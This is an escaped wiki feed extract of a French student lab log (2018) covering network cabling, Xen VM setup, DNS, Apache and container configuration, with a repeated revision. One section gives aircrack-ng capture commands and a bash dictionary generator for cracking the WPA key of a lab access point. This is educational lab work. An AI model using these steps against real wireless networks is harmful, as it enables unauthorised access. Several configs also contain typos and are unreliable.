&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
   'phy:/dev/virtual/hercule-var,xvdb2,w'&lt;br /&gt;
&lt;br /&gt;
On relance la VM.&lt;br /&gt;
On formate les disques créés sur la machine :&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
   mkfs -t ext4 /dev/xvdb2&lt;br /&gt;
&lt;br /&gt;
Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :&lt;br /&gt;
   /dev/xvdb1 /home ext4 defaults 0 2&lt;br /&gt;
Puis on effectue le montage :&lt;br /&gt;
   mount -a &lt;br /&gt;
&lt;br /&gt;
Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire : &lt;br /&gt;
   mount /dev/xvdb2 /mnt&lt;br /&gt;
&lt;br /&gt;
On déplace ensuite le contenu de var dans le point de montage précédemment créé :&lt;br /&gt;
   mv /var/* /mnt&lt;br /&gt;
&lt;br /&gt;
Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :&lt;br /&gt;
   /dev/xvdb2 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On applique les modifications :&lt;br /&gt;
   mount -a&lt;br /&gt;
&lt;br /&gt;
===Service internet===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
====Serveur DNS====&lt;br /&gt;
&lt;br /&gt;
Achat du domaine hercule.pw sur gandi.&lt;br /&gt;
&lt;br /&gt;
Installation de bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
On créé un fichier de configuration de zone db.hercule.pw dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.hercule.space. root.hercule.space (&lt;br /&gt;
 			2	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.hercule.space.&lt;br /&gt;
 	IN	NS	ns6.gandi.net&lt;br /&gt;
 ns	IN	A	193.48.57.183&lt;br /&gt;
 www	IN	A	193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;hercule.space&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.hercule.space&amp;quot;; &lt;br /&gt;
         allow-transfer {213.167.229.2;217.70.187.25;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
Redémarrage du serveur bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP : &lt;br /&gt;
  name : ns.hercule.space&lt;br /&gt;
  IP address : 193.48.57.183&lt;br /&gt;
&lt;br /&gt;
Changement du nameserver principal sur Gandi (A FAIRE): &lt;br /&gt;
  DNS 1 : ns.hercule.space&lt;br /&gt;
&lt;br /&gt;
On laisse ceux de Gandi pour les deux serveurs esclaves&lt;br /&gt;
&lt;br /&gt;
ZONES INVERSES A FAIRE&lt;br /&gt;
&lt;br /&gt;
====Serveur Apache====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du dossier /var/www/www.hercule.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.hercule.space&lt;br /&gt;
                 ServerAlias hercule.space&lt;br /&gt;
                 DocumentRoot /var/www/www.hercule.space/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 A COMPLETER POUR LE CERTIFICAT&lt;br /&gt;
         &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
 ServerName &amp;quot;www.hercule.space&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :&lt;br /&gt;
&lt;br /&gt;
  Listen 80 443&lt;br /&gt;
&lt;br /&gt;
===Crackage de clé WPA===&lt;br /&gt;
&lt;br /&gt;
Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ iwconfig&lt;br /&gt;
&lt;br /&gt;
Nous lançons alors airmon-ng avec notre interface wifi (wlp2s0) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng  wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon&lt;br /&gt;
&lt;br /&gt;
Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :&lt;br /&gt;
&lt;br /&gt;
 #!/bin/bash&lt;br /&gt;
 charset=({0..9})&lt;br /&gt;
 permute(){&lt;br /&gt;
   (($1 == 0)) &amp;amp;&amp;amp; { echo &amp;quot;$2&amp;quot;; return; }&lt;br /&gt;
   for char in &amp;quot;${charset[@]}&amp;quot;&lt;br /&gt;
   do&lt;br /&gt;
     permute &amp;quot;$((${1} - 1 ))&amp;quot; &amp;quot;$2$char&amp;quot;&lt;br /&gt;
   done&lt;br /&gt;
 }&lt;br /&gt;
 permute &amp;quot;$1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Que nous laçons en exécutant :&lt;br /&gt;
&lt;br /&gt;
 $ ./comb.sh 8 &amp;gt;&amp;gt; dictionnaire.txt&lt;/div&gt;</summary>
		<author><name>Nmehanna</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48655</id>
		<title>TP sysres IMA5sc 2018/2019 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2018/2019_G7&amp;diff=48655"/>
				<updated>2018-12-13T15:10:25Z</updated>
		
		<summary type="html">&lt;p&gt;Nmehanna : /* Crackage de clé WPA */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;= Wiki de TP =&lt;br /&gt;
&lt;br /&gt;
=TP GIS=&lt;br /&gt;
&lt;br /&gt;
==Conteneurs &amp;quot;à la main&amp;quot;==&lt;br /&gt;
&lt;br /&gt;
===Mise en place des conteneurs===&lt;br /&gt;
&lt;br /&gt;
*'''Création d'une partition''':&lt;br /&gt;
   dd if=/dev/zero of=/disk1 bs=1024K count=10240&lt;br /&gt;
&lt;br /&gt;
*'''Formatage''' : &lt;br /&gt;
   mtfs.etx4 /disk1&lt;br /&gt;
&lt;br /&gt;
*'''Montage de la partition''':&lt;br /&gt;
   mount /disk1 /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Installation d'un système Debian''':&lt;br /&gt;
   debootstrap --include=apache2,nano stable /mnt &lt;br /&gt;
&lt;br /&gt;
*'''Préparation du montage du pseudo système de fichier /proc''':&lt;br /&gt;
   echo &amp;quot;proc /proc proc defaults 0 0&amp;quot; &amp;gt;&amp;gt; rootfs/etc/fstab&lt;br /&gt;
&lt;br /&gt;
*''' Démontage ''':&lt;br /&gt;
   umount /mnt&lt;br /&gt;
&lt;br /&gt;
*'''Copie en 2 exemplaires''':&lt;br /&gt;
   cp /disk1 /disk2&lt;br /&gt;
   cp /disk1 /disk3&lt;br /&gt;
&lt;br /&gt;
*'''Montage des 3 partitions :'''&lt;br /&gt;
   mount -oloop /disk1 /mnt/dsk1&lt;br /&gt;
   mount -oloop /disk2 /mnt/dsk2&lt;br /&gt;
   mount -oloop /disk3 /mnt/dsk3&lt;br /&gt;
&lt;br /&gt;
*'''Création du processus isolé par unshare''':&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
   unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c &amp;quot;mount /proc ; /bin/bash&amp;quot;&lt;br /&gt;
&lt;br /&gt;
===Configuration réseau===&lt;br /&gt;
*'''Création d'un commutateur logiciel''':&lt;br /&gt;
    ip link add mehcret2 type bridge&lt;br /&gt;
&lt;br /&gt;
*'''Création des interfaces virtuelles:'''&lt;br /&gt;
    ip link add vif1 type veth peer name eth0@vif1&lt;br /&gt;
    ip link add vif2 type veth peer name eth0@vif2&lt;br /&gt;
    ip link add vif3 type veth peer name eth0@vif3&lt;br /&gt;
    ip link add vif4 type veth peer name eth1@vif4&lt;br /&gt;
&lt;br /&gt;
*'''Ajout d'interfaces dans le commutateur :'''&lt;br /&gt;
    ip link set vif1 master mehcret2&lt;br /&gt;
    ip link set vif2 master mehcret2&lt;br /&gt;
    ip link set vif3 master mehcret2&lt;br /&gt;
    ip link set vif4 master bridge&lt;br /&gt;
&lt;br /&gt;
*'''Activation des interfaces''':&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set eth1 up&lt;br /&gt;
&lt;br /&gt;
*'''Récupération du PID des conteneurs :'''&lt;br /&gt;
    ps auxwww | grep unshare&lt;br /&gt;
&lt;br /&gt;
*'''Ajout des interfaces dans les conteneurs :'''&lt;br /&gt;
    ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)&lt;br /&gt;
    ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)&lt;br /&gt;
    ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)&lt;br /&gt;
    ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)&lt;br /&gt;
&lt;br /&gt;
*'''Activation du pont:''' &lt;br /&gt;
    ip address add dev mehcret2 192.168.60.0/24&lt;br /&gt;
&lt;br /&gt;
*'''Attribution des adresses:'''&lt;br /&gt;
    ip address add dev eth0 192.168.60.51/24 (dsk1)&lt;br /&gt;
    ip address add dev eth0 192.168.60.52/24 (dsk2)&lt;br /&gt;
    ip address add dev eth0 192.168.60.53/24 (dsk3)&lt;br /&gt;
    ip address add dev eth1 172.26.145.67/24 (dsk2)&lt;br /&gt;
    ip route add default via 172.26.145.254 (dsk2)&lt;br /&gt;
&lt;br /&gt;
*'''Activation :'''&lt;br /&gt;
    ip link set eth0 up&lt;br /&gt;
    ip link set vif1 up&lt;br /&gt;
    ip link set vif2 up&lt;br /&gt;
    ip link set vif3 up&lt;br /&gt;
    ip link set vif4 up&lt;br /&gt;
    ip link set mehcret2 up&lt;br /&gt;
&lt;br /&gt;
On peut désormais pinger entre les différents conteneurs.&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs Web===&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant mettre en place les serveurs apache.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants : &lt;br /&gt;
&lt;br /&gt;
- mndtMehcret     A      172.26.145.67    (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)&lt;br /&gt;
&lt;br /&gt;
- web1Mehcret     CNAME  mndtMehcret      (Serveur web du conteneur 1)&lt;br /&gt;
&lt;br /&gt;
- web2Mehcret     CNAME  mndtMhecret      (Serveur web du conteneur 3)&lt;br /&gt;
&lt;br /&gt;
On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName web1mehcret.plil.space&lt;br /&gt;
      Options Indexes FollowSymLinks&lt;br /&gt;
      DocumentRoot /var/www/html/web1mehcret/&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.&lt;br /&gt;
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web. &lt;br /&gt;
&lt;br /&gt;
Il faut maintenant mettre en place le reverse proxy. &lt;br /&gt;
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
      ServerName mndtMehcret.plil.space&lt;br /&gt;
      ProxyPass &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web1&amp;quot; &amp;quot;http://192.168.60.51/&amp;quot;&lt;br /&gt;
      ProxyPass &amp;quot;/web2&amp;quot; &amp;quot;http://&amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
      ProxyPassReverse &amp;quot;/web2&amp;quot; &amp;quot;http://192.168.60.53/&amp;quot;&lt;br /&gt;
    &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :&lt;br /&gt;
&lt;br /&gt;
     $ service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Pour utiliser apache en mode reverse proxy, on execute la commande :&lt;br /&gt;
&lt;br /&gt;
     $ a2enmod proxy proxy_http&lt;br /&gt;
&lt;br /&gt;
11h25 : Serveurs Web unshare OK&lt;br /&gt;
&lt;br /&gt;
==Conteneurs Docker==&lt;br /&gt;
 &lt;br /&gt;
Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.&lt;br /&gt;
Nous exécutons ensuite la commande :&lt;br /&gt;
    $ iptables-save&lt;br /&gt;
Puis on redémarre le service Docker :&lt;br /&gt;
    $ service docker restart&lt;br /&gt;
&lt;br /&gt;
Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.&lt;br /&gt;
 &lt;br /&gt;
Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :&lt;br /&gt;
    $ docker run -i -t  debian&lt;br /&gt;
&lt;br /&gt;
Dans le conteneur, nous ajoutons le proxy de l'école :&lt;br /&gt;
    $ export http_proxy=http://proxy.polytech-lille.fr:3128/ &lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:&lt;br /&gt;
    $ apt-get update&lt;br /&gt;
    $ apt-get install apache2, nano, vim&lt;br /&gt;
&lt;br /&gt;
On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires : &lt;br /&gt;
&lt;br /&gt;
    $ docker commit [IDduConteneur] mehcret&lt;br /&gt;
&lt;br /&gt;
On créé un réseau Docker pour isoler nos conteneurs ensemble :&lt;br /&gt;
&lt;br /&gt;
    $ docker network create --driver bridge mehcretnetwork&lt;br /&gt;
&lt;br /&gt;
Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine : &lt;br /&gt;
&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret1 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret2 mehcret&lt;br /&gt;
    $ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret&lt;br /&gt;
&lt;br /&gt;
Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.&lt;br /&gt;
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
10h30 Serveurs Web (docker) OK&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=TP PRA=&lt;br /&gt;
&lt;br /&gt;
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.&lt;br /&gt;
&lt;br /&gt;
==Tâche 5 : Câblage, connexion SR52, cordouan==&lt;br /&gt;
&lt;br /&gt;
===Connexion des routeurs au réseau de l'école===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur ISR4221 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.&lt;br /&gt;
&lt;br /&gt;
Sur le routeur, on passe le port 21 sur le vlan 131 : &lt;br /&gt;
&lt;br /&gt;
   config t&lt;br /&gt;
   int gi1/0/21&lt;br /&gt;
   switchport access vlan 131&lt;br /&gt;
   write&lt;br /&gt;
&lt;br /&gt;
En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.&lt;br /&gt;
&lt;br /&gt;
Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery mode=&amp;quot;nolines&amp;quot; widths=500px heights=400px&amp;gt;&lt;br /&gt;
&lt;br /&gt;
File:TableVlansInterfacesSR52.jpg&lt;br /&gt;
&lt;br /&gt;
File:LedSR52.jpg&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''&lt;br /&gt;
&lt;br /&gt;
En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux routeurs===&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''&lt;br /&gt;
&lt;br /&gt;
Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''&lt;br /&gt;
&lt;br /&gt;
Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''&lt;br /&gt;
&lt;br /&gt;
La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.&lt;br /&gt;
&lt;br /&gt;
===Connexions au serveur Cordouan===&lt;br /&gt;
&lt;br /&gt;
Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM. &lt;br /&gt;
&lt;br /&gt;
*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.&lt;br /&gt;
&lt;br /&gt;
*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''&lt;br /&gt;
&lt;br /&gt;
Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.&lt;br /&gt;
&lt;br /&gt;
===Connexion des commutateurs aux points d'accès===&lt;br /&gt;
&lt;br /&gt;
===Schéma résumant le câblage réalisé :===&lt;br /&gt;
&lt;br /&gt;
[[Fichier:ArchitectureMehCret.png|1500px]]&lt;br /&gt;
&lt;br /&gt;
==Installation des systèmes d'exploitation==&lt;br /&gt;
&lt;br /&gt;
===Création de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Création d'une machine virtuelle sur cordouan.insecserv.deule.net :&lt;br /&gt;
&lt;br /&gt;
   xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen&lt;br /&gt;
&lt;br /&gt;
Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg&lt;br /&gt;
&lt;br /&gt;
  vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']&lt;br /&gt;
  xen create hercule.cfg&lt;br /&gt;
  &lt;br /&gt;
On vérifie que la machine est bien créée en s'y connectant :&lt;br /&gt;
&lt;br /&gt;
  xl console hercule&lt;br /&gt;
&lt;br /&gt;
Création des partitions logiques sur Cordouan pour la machine virtuelle :&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-home -v&lt;br /&gt;
   lvcreate -L 10G -n /dev/virtual/hercule-var -v&lt;br /&gt;
    &lt;br /&gt;
Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes : &lt;br /&gt;
   'phy:/dev/virtual/hercule-home,xvdb1,w',&lt;br /&gt;
